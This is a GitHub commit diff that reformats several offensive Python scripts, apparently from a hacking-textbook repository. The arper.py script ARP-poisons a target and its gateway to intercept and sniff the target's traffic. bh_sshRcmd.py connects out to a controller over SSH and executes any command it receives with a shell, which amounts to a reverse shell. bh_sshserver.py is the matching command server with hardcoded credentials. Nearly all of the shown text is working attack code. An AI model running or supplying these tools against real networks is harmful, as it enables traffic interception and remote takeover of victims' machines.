Skip to content

Commit baae908

Browse files
committedDec 11, 2020
flake
1 parent 86d6f93 commit baae908

15 files changed

+423
-320
lines changed
 

‎arper.py

+51-25
Original file line numberDiff line numberDiff line change
@@ -26,83 +26,109 @@
2626

2727
print("[*] Setting up {}".format(interface))
2828

29+
2930
def restore_target(gateway_ip, gateway_mac, target_ip, target_mac):
30-
31+
3132
# slightly different method using send
3233
print("[*] Restoring target...")
33-
send(ARP(op=2, psrc=gateway_ip, pdst=target_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=gateway_mac),count=5)
34-
send(ARP(op=2, psrc=target_ip, pdst=gateway_ip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=target_mac),count=5)
35-
34+
send(
35+
ARP(
36+
op=2,
37+
psrc=gateway_ip,
38+
pdst=target_ip,
39+
hwdst="ff:ff:ff:ff:ff:ff",
40+
hwsrc=gateway_mac,
41+
),
42+
count=5,
43+
)
44+
send(
45+
ARP(
46+
op=2,
47+
psrc=target_ip,
48+
pdst=gateway_ip,
49+
hwdst="ff:ff:ff:ff:ff:ff",
50+
hwsrc=target_mac,
51+
),
52+
count=5,
53+
)
54+
3655
# signals the main thread to exit
3756
os.kill(os.getpid(), signal.SIGINT)
38-
57+
58+
3959
def get_mac(ip_address):
40-
41-
responses, unanswered = srp(Ether(dst="ff:ff:ff:ff:ff:ff")/ARP(pdst=ip_address),timeout=2,retry=10)
42-
60+
61+
responses, unanswered = srp(
62+
Ether(dst="ff:ff:ff:ff:ff:ff") / ARP(pdst=ip_address), timeout=2, retry=10
63+
)
64+
4365
# return the MAC address from a response
44-
for s,r in responses:
66+
for s, r in responses:
4567
return r[Ether].src
4668
return None
4769

70+
4871
def poison_target(gateway_ip, gateway_mac, target_ip, target_mac):
49-
72+
5073
poison_target = ARP()
5174
poison_target.op = 2
5275
poison_target.psrc = gateway_ip
5376
poison_target.pdst = target_ip
5477
poison_target.hwdst = target_mac
55-
78+
5679
poison_gateway = ARP()
5780
poison_gateway.op = 2
5881
poison_gateway.psrc = target_ip
5982
poison_gateway.pdst = gateway_ip
6083
poison_gateway.hwdst = gateway_mac
61-
84+
6285
print("[*] Beginning the ARP poison. [CTRL-C to stop]")
63-
86+
6487
while True:
6588
try:
6689
send(poison_target)
6790
send(poison_gateway)
68-
69-
time.sleep(2)
91+
92+
time.sleep(2)
7093
except KeyboardInterrupt:
7194
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
72-
95+
7396
print("[*] ARP poison attack finished.")
7497
return
7598

99+
76100
gateway_mac = get_mac(gateway_ip)
77101

78102
if gateway_mac is None:
79103
print("[!!!] Failed to get gateway MAC. Exiting.")
80104
sys.exit(0)
81105
else:
82-
print("[*] Gateway {} is at {} ".format(gateway_ip,gateway_mac))
106+
print("[*] Gateway {} is at {} ".format(gateway_ip, gateway_mac))
83107

84108
target_mac = get_mac(target_ip)
85109

86110
if target_mac is None:
87111
print("[!!!] Failed to get target MAC. Exiting.")
88112
sys.exit(0)
89113
else:
90-
print("[*] Target {} is at {}".format(target_ip,target_mac))
91-
114+
print("[*] Target {} is at {}".format(target_ip, target_mac))
115+
92116
# start poison thread
93-
poison_thread = threading.Thread(target = poison_target, args = (gateway_ip, gateway_mac, target_ip, target_mac))
117+
poison_thread = threading.Thread(
118+
target=poison_target, args=(gateway_ip, gateway_mac, target_ip, target_mac)
119+
)
94120
poison_thread.start()
95121

96122
try:
97123
print("[*] Starting sniffer for {} packets".format(packet_count))
98-
124+
99125
bpf_filter = "ip host {}".format(target_ip)
100-
101-
packets = sniff(count = packet_count, filter = bpf_filter, iface= interface)
102-
126+
127+
packets = sniff(count=packet_count, filter=bpf_filter, iface=interface)
128+
103129
# write out the captured packets
104130
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)
105-
131+
106132
except:
107133
# restore the network
108134
restore_target(gateway_ip, gateway_mac, target_ip, target_mac)

‎bh_sshRcmd.py

+7-5
Original file line numberDiff line numberDiff line change
@@ -10,23 +10,25 @@
1010
import paramiko
1111
import subprocess
1212

13+
1314
def ssh_command(ip, user, passwd, command):
1415
client = paramiko.SSHClient()
15-
#client.load_host_keys('/home/justin/.ssh/known_hosts')
16+
# client.load_host_keys('/home/justin/.ssh/known_hosts')
1617
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
1718
client.connect(ip, username=user, password=passwd)
1819
ssh_session = client.get_transport().open_session()
1920
if ssh_session.active:
2021
ssh_session.send(command)
21-
print(ssh_session.recv(1024)) # read banner
22+
print(ssh_session.recv(1024)) # read banner
2223
while True:
23-
command = ssh_session.recv(1024) # get the command from the SSH server
24+
command = ssh_session.recv(1024) # get the command from the SSH server
2425
try:
2526
cmd_output = subprocess.check_output(command, shell=True)
2627
ssh_session.send(cmd_output)
2728
except Exception as e:
2829
ssh_session.send(str(e))
2930
client.close()
30-
return
31+
return
32+
3133

32-
ssh_command('192.168.100.130', 'justin', 'lovesthepython', 'id')
34+
ssh_command("192.168.100.130", "justin", "lovesthepython", "id")

‎bh_sshcmd.py

+5-3
Original file line numberDiff line numberDiff line change
@@ -10,15 +10,17 @@
1010
import paramiko
1111
import subprocess
1212

13+
1314
def ssh_command(ip, user, passwd, command):
1415
client = paramiko.SSHClient()
15-
#client.load_host_keys('/home/justin/.ssh/known_hosts')
16+
# client.load_host_keys('/home/justin/.ssh/known_hosts')
1617
client.set_missing_host_key_policy(paramiko.AutoAddPolicy())
1718
client.connect(ip, username=user, password=passwd)
1819
ssh_session = client.get_transport().open_session()
1920
if ssh_session.active:
2021
ssh_session.exec_command(command)
2122
print(ssh_session.recv(1024))
22-
return
23+
return
24+
2325

24-
ssh_command('192.168.100.131', 'justin', 'lovesthepython', 'id')
26+
ssh_command("192.168.100.131", "justin", "lovesthepython", "id")

‎bh_sshserver.py

+10-9
Original file line numberDiff line numberDiff line change
@@ -12,23 +12,24 @@
1212
import sys
1313

1414
# using the key from the Paramiko demo files
15-
host_key = paramiko.RSAKey(filename='test_rsa.key')
15+
host_key = paramiko.RSAKey(filename="test_rsa.key")
16+
1617

1718
class Server(paramiko.ServerInterface):
18-
1919
def __init__(self):
2020
self.event = threading.Event()
21-
21+
2222
def check_channel_request(self, kind, chanid):
2323
if kind == "session":
2424
return paramiko.OPEN_SUCCEEDED
2525
return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
26-
26+
2727
def check_auth_password(self, username, password):
2828
if username == "justin" and password == "lovesthepython":
2929
return paramiko.AUTH_SUCCESSFUL
3030
return paramiko.AUTH_FAILED
31-
31+
32+
3233
server = sys.argv[1]
3334

3435
ssh_port = int(sys.argv[2])
@@ -40,7 +41,7 @@ def check_auth_password(self, username, password):
4041
sock.listen(100)
4142
print("[+] Listening for connection...")
4243
client, addr = sock.accept()
43-
44+
4445
except Exception as e:
4546
print("[-] Listen failed: " + str(e))
4647
sys.exit(1)
@@ -49,17 +50,17 @@ def check_auth_password(self, username, password):
4950
try:
5051
bhSession = paramiko.Transport(client)
5152
bhSession.add_server_key(host_key)
52-
53+
5354
server = Server()
5455
try:
55-
bhSession.start_server(server = server)
56+
bhSession.start_server(server=server)
5657
except paramiko.SSHException as x:
5758
print("[-] Negotiation failed.")
5859
chan = bhSession.accept(20)
5960
print("[+] Authenticated!")
6061
print(chan.recv(1024))
6162
chan.send("Welcome to bh_ssh!")
62-
63+
6364
while True:
6465
try:
6566
command = input("Enter command: ").strip("\n")

0 commit comments

Comments
 (0)
Please sign in to comment.